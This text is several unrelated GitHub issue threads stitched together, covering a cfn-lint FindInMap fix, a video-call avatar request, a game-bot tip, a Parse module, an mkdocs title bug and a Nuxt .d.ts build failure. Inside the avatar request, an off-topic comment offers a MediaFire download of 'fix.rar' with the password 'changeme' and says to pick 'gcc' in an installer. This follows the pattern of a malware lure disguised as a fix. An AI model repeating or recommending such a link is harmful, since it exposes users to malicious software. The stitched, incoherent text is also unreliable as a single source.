    DeletionPolicy: Delete
    UpdateReplacePolicy: Delete
    Properties:
      LogGroupName: !Sub '/aws/lambda/${Region}-${VpcName}-core-network-pl-mgr'
      RetentionInDays: !FindInMap [GlobalSettings, GlobalSettings, LogRetention]

  ConditionHomeRegion:
    !Equals [
      !Ref Region,
      !FindInMap [GlobalSettings, GlobalSettings, HomeRegion]
    ]

I was able to replicate E3002 by using a FindInMap of strings to a map, key, key combination that doesn't exist.  I patched that so it will just pass the map through.
I haven't been able to replicate E8003 but its possible it was the same issue as we resolved those to objects if the map consisted of strings that wouldn't return anything.
That should be a different error not a transformation issue.

the map referenced is a transform. not sure if that matters.
  GlobalSettings:
    Fn::Transform:
      Name: AWS::Include
      Parameters:
        Location: !Sub 's3://${Region}-global-resource-bucket-${AWS::AccountId}/transforms/mappings-global-settings.yaml'

sanitized contents of map
#Global Settings
GlobalSettings:
  BackupAccountId: '123456789012'
  HomeRegion: use1
  LogRetention: '30'
  MasterAccountId: '123456789012'
  NetworkManagerRegion: usw2
  OrgId: 'o-0123456789'
  SecAccountId: '123456789012'
  SsmAccountId: '123456789012'

ahh got it.   let me test I think either way this fix will resolve your issue

0.79.5 did it. all my errors have cleared.


Avatar when camera is off

Feature Request
Is your feature request related to a problem or unsupported use case? Please describe.
Users' feedbacks. At least, from @sampaccoud @arnaud-robin and O. Heintrz
Describe the solution you'd like
Follow GMeet implementation. A circle of a given color per user, with their initials. Add animation when the user is speaking.

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."


Sorting Threats According to distance

In your bot find and un-comment the code below
/*allPossibleThreats.sort(function(a, b){                         return a.enemyDist-b.enemyDist;                     })*/
in doing so you will sort the threats according to their distance , when this is used in conjunction with the dynamic threat management , bot becomes very very slippery and almost impossible to eat ..

Please see #607.


Working Parse module

We now have a working Parse module with the new API

Parse cloud locked themselves in a world where you can do JavaScript on the server but it's not Node.js, not iojs, there's no npm compatibility. NOT GOOD.
But it works

cc @redox woohoo :)

Ahah, well done @vvo !


Sector page titles showing font-awesome syntax instead of real page title

Transportation works (see title of the tab)
But Land Sinks and other Sectors don't.

Love this concept! Need a couple days to finish up a project I'm working on, but then I'd love to connect and get some more details or maybe a walkthrough of your concept and ideas?
<EMAIL_ADDRESS>

@bigolboyyo - amazing, just emailed you!  :D
Great personal website by the way.

Resolved by adding the offending pages as menu items in mkdocs.yml. More of a workaround. Good for now but restricts Page Titles from having icons in the H1 Header.


Build fails if type definition file (d.ts) is placed in pages or layouts directory

What problem does this feature solve?
I rely on translations to write this sentence, so if you find something wrong, I'm sorry.
I generated the sfc type definition file using the following cli.
@kahirokunn/vuedts
This has successfully generated /src/pages/index.vue.d.ts
/src/pages/index.vue
<template>

OK ({{ hoge }})

</template>

/src/pages/index.vue.d.ts
import Vue from 'vue';
declare type Hoge = RecursivePartial<{
    a: {
        b: number;
        c: {
            d: string;
        };
    };
}>;
export default class IndexView extends Vue {
    private hoge;
    fuga(str: string): number;
    aaa(b: Hoge): Hoge;
}
export {};

What does the proposed changes look like?
You can put the type definition file in any directory and use it as needed.

This feature request is available on Nuxt community (#c10258)

I apologize for two.
·The first one
I was worried about submitting this as a bug report.
・ Second
The log when the build failed is as follows. I guess this is probably because the dts file matches the dynamic routing generation in the pages directory.
Module build failed (from ./node_modules/ts-loader/index.js):                                                                   friendly-errors 22:07:19
Error: Debug Failure. Output generation failed
    at Object.transpileModule (/Users/dadajam4/projects/develops/demo2/node_modules/typescript/lib/typescript.js:116867:29)
    at getTranspilationEmit (/Users/dadajam4/projects/develops/demo2/node_modules/ts-loader/dist/index.js:318:74)
    at successLoader (/Users/dadajam4/projects/develops/demo2/node_modules/ts-loader/dist/index.js:66:15)
    at Object.loader (/Users/dadajam4/projects/develops/demo2/node_modules/ts-loader/dist/index.js:22:12)